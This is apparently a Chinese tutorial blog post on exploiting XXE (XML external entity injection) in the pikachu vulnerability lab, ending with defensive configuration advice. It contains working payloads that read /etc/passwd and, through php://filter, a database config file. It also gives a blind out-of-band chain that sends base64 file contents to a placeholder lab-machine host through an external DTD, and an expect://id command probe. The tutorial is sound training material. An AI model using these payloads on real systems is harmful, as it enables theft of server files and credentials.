☰
XXE实战笔记:pikachu靶场从外部实体探测到盲注利用
2026/10/19 3:21:04 网站建设 项目流程

很多人第一次接触 XXE 这三个字母,都是在看到漏洞报告里写着"可读取任意文件"的时候。pikachu 靶场里的 XXE 模块,是我带新人做 Web 漏洞基础训练时必练的一关:它把真实系统里最常见的"解析 XML"场景还原成了一个表单——输入框、提交按钮、回显区,仅此而已。恰恰因为足够简单,XXE 从"客户端提交一段 XML"到"服务器把文件内容吐出来"的完整链路,才能在一个小时内讲透。

这篇文章不是漏洞原理的复读,而是我在靶场里反复提交、反复踩坑之后沉淀下来的实操笔记。如果你手头正准备搭 pikachu 练习环境,或者已经搭好了但卡在"不知道下一步该提交什么",这篇文章应该能帮你直接把链路跑通,并且顺带弄清楚每段 payload 到底在干什么。

1. 靶场入口与前置知识:先搞清楚这关在考什么

1.1 XML、DTD 和外部实体之间的“三角关系”

XXE 全称是 XML External Entity,中文叫 XML 外部实体注入。要理解这个名字,得先拆开 XML 文档里最容易被忽略的一段区域——DTD。

DTD(Document Type Definition)的作用是定义这份 XML 文档的结构规则,好比是快递面单上的模板:哪些字段必填、哪些选填、字段之间什么关系。它既可以写在 XML 文档内部,也可以引用外部文件。真正让 XXE 成为安全问题的,是 DTD 支持一种叫“实体”的语法,英文叫 ENTITY。

实体本质上是一个"变量替身"。你在 DTD 里定义了<!ENTITY x "内容">,文档里出现&x;的地方,解析器就会自动替换成"内容"。这个机制很像 Excel 里一个单元格引用另一个单元格的值——你改源单元格,目标单元格跟着变。

按照实体引用资源的来源,XML 实体分为内部实体和外部实体两种。内部实体的数据写在 XML 文档本身里,而外部实体的数据来自系统外部资源,语法长这样:

<!ENTITY xxe SYSTEM "file:///etc/passwd">

这里SYSTEM关键字就是告诉解析器:去外部的某个地址把数据取回来。可取的地址不只限于文件路径,还可能是http://开头的远程地址、php://filter之类的伪协议。

问题就出在这里:如果解析器允许外部实体加载,而且没有做任何限制,攻击者提交的 XML 就能让服务器去读本地文件、请求内网服务,甚至在某些环境里执行系统命令。靶场里这一关,就是要在“非授权不可为”的边界内,亲眼验证这个机制到底有多危险。

1.2 在 pikachu 里定位 XXE 模块与实验环境准备

pikachu 是一套跑在 Web 服务器上的漏洞练习平台,模块列表里找到"XXE"对应入口即可。通常它显示为一个单独的文本框,下方有提交按钮,提交后的内容会被后端脚本解析。

我这边用的是本地虚拟机加 PHP 集成环境跑 pikachu,这套组合的好处是整个过程完全可控,适合反复调试。如果你用的是 Docker 方式部署,同样没问题,关键是要保证环境能被本地浏览器访问到,比如映射端口localhost:8080之类的地址。无论用哪种方式,都只需要在一台你自己的实验机器上完成,不需要牵扯任何外部系统。

进入 XXE 页面后,可以先随便提交一段正常 XML,比如:

<root>hello</root>

如果页面回显正常,说明提交的数据确实被当成 XML 处理了。这一条基线请求建议先保存下来,后面对照用——它能帮你确认解析流程是否通畅,是排错的第一步。

2. 第一层探测:把“合法 XML”变成“能回显的探针”

2.1 提交探针时最容易忽略的 Content-Type 问题

很多人第一次在靶场里测 XXE,直接把外部的 payload 粘贴到文本框里提交,结果一点反应都没有。问题往往不在 payload 本身,而在请求头里的Content-Type。

后端代码在接收 XML 时,经常会有类似simplexml_load_string($_POST['xml'])的写法,它只认 POST 表单参数,对请求头不敏感。但也有不少应用把Content-Type写成application/xml或text/xml时,才会走进 XML 解析分支。靶场里哪种情况都有可能出现。

我的做法是:先用浏览器打开开发者工具,看当前页面提交请求时默认带的Content-Type是什么;然后在 Burp Suite 或浏览器自带的调试工具里手动改成application/xml再发一次,两边对比回显差异。这一步看起来不起眼,但在真实系统的漏洞探测中,它往往就是决定成败的分水岭。

2.2 三个回显结果分别代表什么

提交探针后,通常能看到三种情况中的一种。

第一种是报错回显。页面直接抛出一段 XML 解析错误,比如类似 "Start tag invalid" 或 "Entity not defined" 的信息。这类回显虽然不好看,却是最值钱的——它说明后端确实调用了 XML 解析器,而且错误信息里可能直接暴露了解析器类型、版本甚至服务器路径。

第二种是内容回显。页面把 XML 文档里的某个节点值原样显示出来,比如你提交<name>&xxe;</name>,页面就把外部实体指向的文件内容打在了界面上。这不是所有环境都有,但 pikachu 这类练习环境常常特意保留这个通道,为的就是让初学者能直观看到数据流。

第三种是毫无反应。页面不报错、不显示、状态码也正常,像是吞了你的输入。这种情况下有两种可能:一是代码根本没有经过 XML 解析,只是把输入原样存进了数据库;二是解析器存在,但被配置成了不加载外部实体,也就是libxml_disable_entity_loader(true)这类防护生效了。

区分这两种可能有一个笨但有效的办法:在 XML 里故意写一个未定义的实体,比如&notdefined;。如果页面报错,说明解析器在工作;如果不报错,说明你还没走到解析逻辑。先确定"解析器是否存在",再谈"外部实体是否生效",这个顺序不能乱。

2.3 构造最简单的外部实体探针

在确认 Content-Type 和解析器存在之后,我习惯用一个尽量短的外部实体探针来验证文件读取能力:

<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>

注意看这段的结构:DTD 声明在 DOCTYPE 里,外部实体的定义用SYSTEM指向本地绝对路径,最后在<root>节点的内容区引用&xxe;。如果服务器是 Linux 环境,且 /etc/passwd 可读,页面上大概率会直接打印出一串以root:x:开头的内容。

我见过不少初学者把&xxe;写到 DTD 定义区块里,结果怎么提交都不回显。这里要记住:实体定义写在<!ENTITY ...>里,但实体引用必须出现在文档正文中能放文本内容的位置,<root>&xxe;</root>才是正确的引用姿势。

3. 经典利用链路:用文件协议把服务端文件读到页面

3.1 逐段拆解完整 payload,别只当“咒语”使用

单看探针也许觉得简单,但真正写 payload 时,每一段都有明确分工。我把它拆成三个部分来看。

第一部分是 XML 声明<?xml version="1.0"?>。它告诉解析器这份文档的版本和编码方式。很多教程会省略这一行,但如果在后面用到了外部实体,保留版本声明能让解析器走更严格也更规范的解析路径,减少因为编码误判导致的乱码问题。

第二部分是 DTD 定义块:

<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

DOCTYPE声明了文档的根元素名称是root,方括号里是内部子集,实体定义就放在这里。SYSTEM关键字后面跟的是实际要加载的资源地址。你可以换成绝对路径,也可以换成相对路径,但相对路径受当前工作目录影响,不好控制,所以练习时尽量用绝对路径。

第三部分是实体引用:

<root>&xxe;</root>

解析器处理到这里时,会把&xxe;展开成/etc/passwd的完整内容,然后把它当作文本节点的一部分输出。从页面上看,就是你提交的 XML 请求,换回了一整份系统文件内容。

3.2 回显节点的选择直接决定利用成功率

实体引用放在哪个标签里,直接影响解析器会不会报错。比如你在一份结构严格的文档里把&xxe;放在了一个不能容纳文本内容的属性位置,解析器可能直接拒绝展开。

通常我会选择一个在业务上有实际回显的节点名。在 pikachu 的练习场景里,后端解析后返回的往往是<name>之类的值,所以 payload 可以写成:

<?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <name>&xxe;</name>

有的环境回显节点不是通过提交文本动态拼接的,而是固定输出某个字段。这时候就要根据页面的实际结构调整标签名。经验是:先提交<name>test</name>看看页面上哪里出现了 test,你就把实体引用放回哪里。

3.3 扩展协议:用 php://filter 读取源码与配置

仅仅读取 /etc/passwd 还不够,因为很多时候我们要的是业务源码、数据库配置这类更敏感的信息。在 PHP 环境下,可以借助伪协议来读取文件内容,比如:

<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php"> ]> <root>&xxe;</root>

这个 payload 的关键在于read=convert.base64-encode/resource=这一段。它的含义是:读取指定文件时,先做一次 Base64 编码,再把编码后的结果作为实体内容输出。为什么要编码?因为 PHP 文件里含有<?php这类标签,如果直接按普通文本输出,解析器可能因为特殊字符报错,或者某些框架会直接当成页面代码执行掉。编码后,文件内容变成一串没有任何特殊符号的 Base64 字符,输出到页面上再解码,就能还原出原始源码。

在靶场里我建议用一个你确认存在且路径已知的 PHP 文件来试,然后对比页面上那串 Base64 和本地文件内容是否一致。这个过程能帮你理解"服务器到底读到了什么"。

4. 无回显场景:盲 XXE 在靶场业务里的处理思路

4.1 为什么真实系统里漏洞往往“看上去没反应”

很多人在靶场里跑通了读取文件链路,就觉得 XXE 不过如此。但真实业务里,XXE 经常是"盲的"——页面只返回固定文案,不管 XML 里写了什么都没反应。不是解析器不工作,而是解析结果被吞掉了,比如代码里用了simplexml_load_string之后只取某个固定字段,或者直接把解析返回对象序列化存库。

盲 XXE 的探测思路和回显型完全不同。不能再依赖页面输出,而要从"解析器是否加载了外部资源"这个行为来判断。靶场练习的意义就在这里:环境可控,你可以同时开两个窗口,一个观察页面,一个观察网络或日志,把"盲"变成"不盲"。

4.2 带外数据通道的基本原理与靶场内的模拟验证

判断盲 XXE 是否存在的常用方法是让解析器去加载一个我们自己可控的外部地址。如果解析器真的发起了请求,我们就能在那台机器的日志上看到痕迹。

在靶场环境里,可以这样模拟:在一台实验机上用工具开一个 HTTP 端口监听,然后构造一个引用远程地址的外部实体:

<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://你的实验机IP/test"> ]> <root>&xxe;</root>

如果实验机监听端口的日志里出现了一条对/test的 GET 请求,就说明解析器确实对外部实体进行了加载。这一步在真实环境里相当于做了一次有效性验证,不动目标系统任何数据,只观察它是否产生了出站请求。

需要注意,靶场环境里做这种验证时,地址要填实验环境的可达 IP。如果你的靶场和监听服务跑在同一台机器上,就用localhost或本机 IP 即可。

4.3 更进一步的参数实体:如何把文件内容带出来

盲 XXE 要读取文件内容,就不能只验证"能否出网",还需要一个带数的通道。带数值的经典写法是参数实体加外部 DTD 文件组合。

先看参数实体和普通实体的区别。普通实体在文档内容里用&xxe;引用,参数实体只能在 DTD 内部使用,引用符号是%,而且它正着写就可以拼进外部 URL 里。比如你在自己的外部 DTD 文件里定义:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://你的实验机IP/?content=%file;'>"> %eval;

然后在靶场提交端拼上:

<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://你的实验机IP/ext.dtd"> %remote; ]> <root>&exfil;</root>

这个过程可以这样理解:解析器先加载外部 DTD 文件,文件里定义了%file指向目标文件内容,又定义了%exfil把内容拼进一个 HTTP 请求地址,最后用&exfil;触发一次带参请求。实验机收到的请求参数里,就是被 Base64 编码过的文件内容。

这个链路在靶场里比较容易踩坑,因为很多版本内置的 PHP 解析器对外部 DTD 的加载有缓存或顺序限制。我的经验是分步验证:先确认参数实体能触发请求,再确认%file能拿到内容,最后才拼成一条完整链路。一步到位失败了,很难判断是 DTD 没加载还是变量没展开。

5. 变种与防护:同一根漏洞换两张面孔

5.1 变种一:XML 被包进 JSON 字段时还能不能测

pikachu 的 XXE 模块是纯 XML 提交,所以很多人练完之后,面对真实业务里 "接口接收的是 JSON,但 JSON 里有一个字段的值是 XML" 的场景,会本能地觉得测不了。实际上这类场景反而是很有价值的目标。

比如一个登录接口,请求体是{"data": "<root>text</root>"},后端把data字段的值取出来丢给 XML 解析器。这看起来只是个普通参数,但如果解析器没做防护,内部依然存在 XXE。

在靶场里模拟这类变种,其实就是把 JSON 外壳剥掉,单独把 XML 字段提交到解析点。如果前端约束了 Content-Type 只能是 JSON,你可以用工具改成提交原始 XML,绕开触发逻辑的限制。靶场练习的意义之一,就是训练“把一段复杂的输入结构拆解成解析器真正关心的那部分”的直觉。

5.2 变种二:协议叠加与有限条件下的命令执行

除了file协议,外部实体还能指向其他协议。在 PHP 环境里常见的还有php://filter,前面已经提过;如果服务器装了对应的扩展,某些环境下还能尝试expect://之类的协议。

expect://id如果可用,意味着解析器能把执行结果当作实体内容返回,这比单纯读文件强得多。但这类情况限制很多:要求 PHP 加载了 expect 扩展,还要求解析器和系统配置都允许。靶场环境未必覆盖到全部条件。

我的建议是:在靶场里做一个"理论验证"就够了,比如施加一个指向expect://id的外部实体,哪怕页面报错,只要你从报错信息中能看出协议被识别或扩展缺失,也算拿到了版本指纹信息。不要过度追求在练习环境里击穿所有可能性,重点是理解协议加载机制是解析器决定的,协议可用范围受运行环境影响。

5.3 从靶场结论反推企业的防御配置思路

跑通一遍 XXE 之后,再回头看防护手段就非常直观了。XXE 的核心病因是"XML 解析器在解析不可信输入时允许加载外部实体",所以防御手段都是围绕这个核心来做的。

第一层是禁用外部实体加载。在 PHP 里,较老的环境可以用libxml_disable_entity_loader(true)来禁止实体加载;到了较新的 libxml2 版本,默认可能已经不再解析外部实体,但业务代码如果显式重置配置,又会被打开。靶场实验里修改这个配置后,前面跑通的 payload 立刻失效,这个对比值得亲手做一遍。

第二层是输入过滤与白名单校验。如果业务确实需要接收 XML,可以在请求进入解析器之前做严格校验:检查 DOCTYPE 声明是否存在、是否包含SYSTEM和PUBLIC关键字、实体列表是否全为内部实体。这一层防不住所有情况,但能挡住 90% 的自动化扫描。

第三层是尽量用 JSON 等格式替代 XML。这不是技术上的强制要求,而是降低攻击面的一种取舍。很多内部系统之所以中招,不是因为用了 XML 有多必要,而是"当初方便、后来忘了它还有个会加载外部资源的坑"。

6. 能复现并不等于会排错:我在靶场里踩过的坑

6.1 参数实体在内部 DTD 子集里的经典失败现场

我第一次在靶场里尝试参数实体带数时,把外部 DTD 定义和参数实体引用全写在了一个 DOCTYPE 里,结果请求发出去之后,实验机监听端口没有任何记录,页面也没有报错。一度以为这环境不支持外部 DTD,后来才发现问题出在内部子集对参数实体的处理限制上。

这里有一个容易忽略的细节:在 XML 标准里,内部 DTD 子集中定义参数实体时,它的值不能直接被普通实体引用,而且在内部子集里使用%引用本身就有很多兼容性限制。所以规范的盲 XXE 利用流程,必须把参数实体的定义放到一个外部 DTD 文件里,再由内部 DOCTYPE 把它引进来。

这个坑的排查方法很简单:把外部 DTD 文件放到实验机 HTTP 服务根目录下,先手动访问一次确认文件能正常拉取,再回到靶场提交。如果还是没反应,就用浏览器或 curl 直接请求一下 DTD 地址,确认不是路径写错。

6.2 特殊字符、URL 编码与字段错位导致的乱码

读取文件时,如果文件内容是二进制数据或者包含特殊符号,实体展开后很可能导致 XML 结构解析失败。比如你想读取一个包含大量<和&字符的源码文件,解析器会把它们当成标签或实体的开头,直接抛错。

这类问题有两个常见解法:一是用php://filter的 Base64 编码,把不可见字符和特殊符号全部变成安全字符;二是把文件内容放到 CDATA 段里包裹。实战里 Base64 方案更稳定,因为它不依赖解析器对特殊字符的容错。

另一个坑是 URL 编码问题。如果你引用的外部地址里有&参数分隔符,在 XML 里这个字符必须写成&amp;,否则解析器会认为你在引用一个未定义实体。比如:

<!ENTITY xxe SYSTEM "http://你的实验机IP/?a=1&b=2">

这一行在解析时就会失败,因为&b被当成了实体引用的开始。正确的写法是&amp;b=2。这种错误隐蔽到即使你检查好几遍都看不出来,只有把报错信息里的解析位置和原文对照时才能发现。

6.3 复现闭环之后,记得回归“能修复”这个终点

靶场通关不代表你会修 XXE。我在带人的时候,总要求最后一步做“修复实验”:给后端代码加上禁用外部实体加载的配置,然后把前面跑通的所有 payload 重新提交一遍,确认全部失效。

这一步非常有价值。它能帮你建立"攻击路径"与"代码配置"之间的映射,往后你面对真实系统时,看到一行 XML 解析代码,就能本能地想到"这里如果不加防护,能被怎么打",而不是停留在套模板提交 payload 的阶段。

在 pikachu 的 XXE 模块里做完这个闭环,你获得的不是一条命令的执行快感,而是一套分析 XML 解析类漏洞的基本框架:探解析器、验证外部实体、选择合适的读取协议、构造回显或带外通道、最后回归防御配置。这套框架,以后换到任何语言、任何框架的 XML 解析场景,都依然通用。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询